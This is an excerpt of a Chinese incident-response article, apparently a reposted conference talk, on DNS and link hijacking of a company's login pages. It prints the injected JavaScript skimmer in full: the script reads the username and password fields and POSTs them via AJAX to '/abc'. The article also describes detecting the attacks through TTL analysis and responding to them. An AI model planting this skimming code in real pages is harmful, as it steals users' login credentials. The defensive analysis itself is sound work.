“企业应急响应和反渗透”之真实案例分析

2015-08-26 14:20:04 大云网  点击量: 评论 (0)
峰会上讲过的议题,整理成文章,以供大家批评指正。对于企业应急响应,我想只要从事安全工作的同学都有接触,我也一样,在甲方乙方工作的这几年,处理过不少应急响应的事件,但是每个人都会有自己做事的方法,在


0x06 案例之永无止境的劫持

对于劫持我想大家都不陌生,我们在生活中比较常见到的就是运营商在页面中插入广告等代码,这种就是一种劫持攻击。

回到案例本身,我们的一个业务先后出现多次多种手段的劫持攻击,一次是 dns 劫持,把业务的域名劫持到 61.* 这个 ip 上,另外一次是链路劫持,替换服务器返回给用户的 http 响应内容,这两次的目的都一样就是在登录口添加 js 代码,用于窃取用户的用户名和明文密码。我们另外一个业务也遭受链路劫持,直接替换客户投放的广告代码,给业务造成很大的经济损失。

下面两个图是我们业务监控系统和基调的截图,上面的图可以很明显看到在 9:30 用户登录成功数明显下降,持续不到一个小时,下图是全国部分地区基调的数据,可以看到域名被明显劫持到 61 这个 ip,这是一次典型的 DNS 攻击。 

enter image description here  
enter image description here

页面中被插入的攻击核心代码


  1. //获取用户名和密码  
  2. function ffCheck() {  
  3.     try {  
  4.         try {  
  5.             var u = null != f ? f.idInput.value : document.getElementById("idInput").value;  
  6.         } catch (e) {  
  7.             var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");  
  8.         }  
  9.         var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;  
  10.         if (u.indexOf("@") == -1) u += "@xxx.com";  
  11.         try {  
  12.             if (u.indexOf("@") == -1) uu = u + getdomain();  
  13.         } catch (e) {}  
  14.         sendurl("/abc", u, p, "coremail");  
  15.     } catch (e) {}  
  16.     return fOnSubmit();  
  17. }  
  18.    
  19. 通过 ajax 发送出去  
  20. function sendurl(uri, u, p, i) {  
  21. xmlHttp = GetXmlHttpObject();  
  22. if (xmlHttp == null) {  
  23.     return;  
  24. }  
  25. param = "user=" + u + "&pass=" + p + "&icp=" + i;  
  26. xmlHttp.onreadystatechange = stateChanged;  
  27. try {  
  28.     xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);  
  29. } catch (e) {}  
  30. xmlHttp.setRequestHeader("If-Modified-Since", "0");  
  31. xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  
  32. xmlHttp.send(param);  

接下来看下面两张图片 

enter image description here  
enter image description here

 

这是一次典型的链路劫持攻击,通过 ttl 就能够判断,攻击的结果和前面提到的 dns 劫持攻击类似,插入恶意 js 代码来获取用户的用户名和密码。

对于劫持攻击的处理过程,首先是判断是什么攻击,对于链路劫持目前的链路劫持好像大部分都是旁路的攻击方式,就可以通过 ttl 来定位,默认的 ttl 值很好判断,如果可以修改的 ttl 值,可以通过递增或者递减 ttl 的方式来判断,dns 劫持就是判断攻击方式是什么,哪些 dns 受影响,劫持的 ip 是什么运营商,劫持后做了什么事情。

其次是解决攻击,一般根据劫持的情况去联系运营商,联系有关部门等,但是然并卵,有的功能投诉很有效,比如劫持广告代码,有的攻击则没有任何作用,比如注入 js 代码获取用户名和密码。

其实我们能做的毕竟有限,完善监控,当劫持发生的时候能够第一时间获知,甚至提醒用户当前环境有劫持的风险,对部分业务使用 https,但是我觉得都不能根治这些问题。怎么才能解决劫持问题,我没有好的解决方案,在这里我把这类案例分享出来是希望能够和各位进一步探讨。

0x07 总结

总结这里我就不打算写太多,我觉得有几个大的方向作为指导:

从业务角度,保障业务肯定是应急响应的前提;

从对抗角度,知己知彼百战不殆;

从技术角度,只有更多的了解攻击才能更好的做到防御;

免责声明:本文仅代表作者个人观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
我要收藏
个赞